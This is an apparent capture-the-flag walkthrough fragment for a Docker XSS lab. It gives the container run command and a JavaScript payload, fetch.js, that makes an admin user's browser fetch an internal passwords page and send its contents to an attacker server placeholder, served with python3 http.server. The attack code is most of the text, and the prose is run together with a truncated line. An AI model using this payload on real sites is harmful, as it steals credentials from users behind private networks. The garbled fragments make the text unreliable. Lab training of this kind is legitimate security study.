IP Address 172.25.200.200
Port: 9027
docker run -d -p 9027:80 --name red50 --restart always joshbeck2024/ctf_xss_to_null_byte_injection_flag_red50

messages.php every 60 seconds. The concept is we want to inject a script that will force that user to visit http://confidential.local/passwords.php from the admin user’s position inside a private subnet and ship us the administrative password list.pico to create a file called fetch.jssendData() will make a request to the attacker machine on port 80 display any data carried as parameters.fetchPasswords() will force anyone executing this script to make a request to http://confidential.local/passwords.php and send the contents of the webpage that is returned to the sendData() function./ Function to send the fetched data to the attacker's server using GET parameters
function sendData(data) {
var xhr = new XMLHttpRequest();
var url = 'http://IP_OF_ATTACKER/exfiltrate.php?data=' + encodeURIComponent(data) + '&' + new Da>
xhr.open('GET', url, true);
xhr.send();
}
// Function to fetch passwords from passwords.php
function fetchPasswords() {
var xhr = new XMLHttpRequest();
xhr.open('GET', '<http://confidential.local/passwords.php>', true); // Replace with the target URL
xhr.onload = function() {
if (xhr.status === 200) {
console.log("Passwords fetched successfully: ", xhr.responseText);
sendData(xhr.responseText); // Send the fetched passwords to the attacker's server
}
};
xhr.send();
}
// Automatically execute the exploit when the script is loaded
fetchPasswords();

python3 -m http.server
sendData() method within fetch.jspython3 -m http.server 80

fetch.js